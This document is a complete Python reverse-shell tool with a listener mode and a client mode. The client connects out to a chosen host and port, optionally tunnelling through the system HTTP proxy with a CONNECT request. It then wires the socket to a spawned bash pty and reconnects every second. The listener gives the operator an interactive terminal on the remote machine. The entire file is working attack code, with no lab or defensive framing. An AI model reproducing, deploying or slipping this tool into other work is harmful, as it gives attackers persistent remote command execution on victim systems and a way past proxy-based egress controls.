reverse_shell

#!/usr/bin/env python3

import sys
import os
import socket
import select
import argparse
import time
import termios
import fcntl
import pty


def get_proxy():
  proxy = os.environ.get('http_proxy')

  if proxy:
    try:
      from urllib.parse import urlparse
    except:
      from urlparse import urlparse

    proxy = urlparse(proxy).netloc

    if ':' in proxy:
      proxy = proxy.split(':')
      return proxy[0], int(proxy[1])

    return proxy, 80


def connect(addr, port, shell, proxy):
  save_in  = os.dup(0)
  save_out = os.dup(1)
  save_err = os.dup(2)

  while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
      if proxy is not None:
        print('Connecting via proxy %s:%d to %s:%d' % (
          proxy[0], proxy[1], addr, port))
        s.connect(proxy)
        s.send(str.encode('CONNECT %s:%d HTTP/1.1\r\nHost: %s:%d\r\n\r\n' % (
          addr, port, addr, port)))

      else:
        print('Connecting directly to %s:%d' % (addr, port))
        s.connect((addr, port))

      try:
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        pty.spawn(shell)

      finally:
        os.dup2(save_in,  0)
        os.dup2(save_out, 1)
        os.dup2(save_err, 2)

    except Exception as e: print(e)
    finally: s.close()

    time.sleep(1)


class NonblockingInput(object):
  def __enter__(self):
    self.save_attr = termios.tcgetattr(sys.stdin)
    attr = termios.tcgetattr(sys.stdin)
    attr[3] &= ~(termios.ICANON | termios.ECHO)
    attr[6][termios.VINTR]  = 0
    attr[6][termios.VSUSP]  = 0
    attr[6][termios.VERASE] = 0
    attr[6][termios.VEOF]   = 0
    attr[6][termios.VSTOP]  = 0
    termios.tcsetattr(sys.stdin, termios.TCSADRAIN, attr)

    self.save_fl = fcntl.fcntl(sys.stdin, fcntl.F_GETFL)
    fcntl.fcntl(sys.stdin, fcntl.F_SETFL, self.save_fl | os.O_NONBLOCK)


  def __exit__(self, *args):
    termios.tcsetattr(sys.stdin, termios.TCSADRAIN, self.save_attr)
    fcntl.fcntl(sys.stdin, fcntl.F_SETFL, self.save_fl)



def handle(conn, addr):
  print('Connection from %s' % (addr, ))

  try:
    with NonblockingInput():
      while True:
        select.select([conn, sys.stdin.fileno()], [], [conn])

        bytes = sys.stdin.buffer.read(int(1e6))
        if bytes: conn.send(bytes)

        try:
          bytes = conn.recv(int(1e6), socket.MSG_DONTWAIT)
          if bytes:
            sys.stdout.buffer.write(bytes)
            sys.stdout.flush()
        except BlockingIOError: pass

  except BrokenPipeError: pass


def listen(addr, port):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  s.bind((addr, port))
  s.listen(1)

  while True:
    conn, addr = s.accept()
    handle(conn, addr)


parser = argparse.ArgumentParser(description = 'Reverse shell server')
parser.add_argument('-a', '--addr', default = '0.0.0.0',
                    help = 'Server host name or IP')
parser.add_argument('-p', '--port', default = 34672, type = int,
                    help = 'Server port')
parser.add_argument('-c', '--client', action = 'store_true',
                    help = 'Client mode')
parser.add_argument('-d', '--direct', action = 'store_true',
                    help = 'Ignore proxy settings')
parser.add_argument('-s', '--shell', default = '/bin/bash',
                    help = 'Client shell')
args = parser.parse_args()


if args.client:
  proxy = None if args.direct else get_proxy()
  connect(args.addr, args.port, args.shell, proxy)

else: listen(args.addr, args.port)